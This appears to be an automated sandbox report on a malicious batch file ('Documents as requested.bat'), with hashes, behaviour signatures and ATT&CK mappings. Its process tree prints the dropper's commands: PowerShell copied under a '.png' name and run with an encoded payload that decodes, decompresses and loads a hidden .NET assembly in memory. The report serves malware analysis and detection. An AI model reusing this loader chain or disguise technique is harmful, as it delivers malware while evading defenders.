fcf545c44ad99d243f3f2be37b7451972b43a476736838573f538512be8a9327

General

Target

Documents as requested.bat
Size

1006KB
MD5

171e778657c7295e85e8300f360cb8f3
SHA1

514c680ac7eff0d76b0c3ab4a8843aaded52864b
SHA256

79261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45
SHA512

de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04
SSDEEP

24576:kxzN/hRdkbOXdtw3hQxSKXRMUMerPAY0OiXkXdsLg:klLwRkzyTe0SMg

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

Lysnyr.png

pid process

2744 Lysnyr.png
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

Lysnyr.png

pid process

2744 Lysnyr.png
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Lysnyr.png

pid process

2744 Lysnyr.png
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Lysnyr.png

description pid process

Token: SeDebugPrivilege 2744 Lysnyr.png

pid	process
2744	Lysnyr.png

pid	process
2744	Lysnyr.png

pid	process
2744	Lysnyr.png

description	pid	process
Token: SeDebugPrivilege	2744	Lysnyr.png

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2216 wrote to memory of 2956	2216	cmd.exe	cmd.exe
PID 2216 wrote to memory of 2956	2216	cmd.exe	cmd.exe
PID 2216 wrote to memory of 2956	2216	cmd.exe	cmd.exe
PID 2216 wrote to memory of 1964	2216	cmd.exe	xcopy.exe
PID 2216 wrote to memory of 1964	2216	cmd.exe	xcopy.exe
PID 2216 wrote to memory of 1964	2216	cmd.exe	xcopy.exe
PID 2216 wrote to memory of 3004	2216	cmd.exe	cmd.exe
PID 2216 wrote to memory of 3004	2216	cmd.exe	cmd.exe
PID 2216 wrote to memory of 3004	2216	cmd.exe	cmd.exe
PID 3004 wrote to memory of 3060	3004	cmd.exe	cmd.exe
PID 3004 wrote to memory of 3060	3004	cmd.exe	cmd.exe
PID 3004 wrote to memory of 3060	3004	cmd.exe	cmd.exe
PID 3004 wrote to memory of 2632	3004	cmd.exe	xcopy.exe
PID 3004 wrote to memory of 2632	3004	cmd.exe	xcopy.exe
PID 3004 wrote to memory of 2632	3004	cmd.exe	xcopy.exe
PID 3004 wrote to memory of 2668	3004	cmd.exe	cmd.exe
PID 3004 wrote to memory of 2668	3004	cmd.exe	cmd.exe
PID 3004 wrote to memory of 2668	3004	cmd.exe	cmd.exe
PID 3004 wrote to memory of 1576	3004	cmd.exe	xcopy.exe
PID 3004 wrote to memory of 1576	3004	cmd.exe	xcopy.exe
PID 3004 wrote to memory of 1576	3004	cmd.exe	xcopy.exe
PID 3004 wrote to memory of 2744	3004	cmd.exe	Lysnyr.png
PID 3004 wrote to memory of 2744	3004	cmd.exe	Lysnyr.png
PID 3004 wrote to memory of 2744	3004	cmd.exe	Lysnyr.png
PID 3004 wrote to memory of 2744	3004	cmd.exe	Lysnyr.png

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:2956

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
2⤵
PID:1964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:3060

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
3⤵
PID:2632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:2668

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat" C:\Users\Admin\AppData\Local\Temp\Lysnyr.png.bat
3⤵
PID:1576

C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
C:\Users\Admin\AppData\Local\Temp\Lysnyr.png -win 1 -enc JABTAGcAZwBrAHAAZABxAGIAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQASgBoAHMAdAB5AGEAbgByAHUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAUwBnAGcAawBwAGQAcQBiACkAOwAkAE8AcwBuAGgAcQBqAHgAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQASgBoAHMAdAB5AGEAbgByAHUAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQByAHQAZwBhAHYAeQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAE8AcwBuAGgAcQBqAHgAbgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQByAHQAZwBhAHYAeQB0AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABZAHIAdABnAGEAdgB5AHQALgBDAGwAbwBzAGUAKAApADsAJABPAHMAbgBoAHEAagB4AG4ALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABKAGgAcwB0AHkAYQBuAHIAdQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFoAcwBmAGwAaQBpAHgAZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFcAeABpAGYAbgB1ACAAPQAgACQAWgBzAGYAbABpAGkAeABnAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQAWgBlAGUAaABuAG4AbABmAHYAegBoACAAPQAgACQAVwB4AGkAZgBuAHUALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Lysnyr.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Lysnyr.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2744-8-0x0000000074A30000-0x0000000074FDB000-memory.dmp

Filesize
5.7MB

Download
memory/2744-10-0x0000000002230000-0x0000000002270000-memory.dmp

Filesize
256KB

Download
memory/2744-9-0x0000000074A30000-0x0000000074FDB000-memory.dmp

Filesize
5.7MB

Download
memory/2744-11-0x0000000002230000-0x0000000002270000-memory.dmp

Filesize
256KB

Download
memory/2744-12-0x0000000074A30000-0x0000000074FDB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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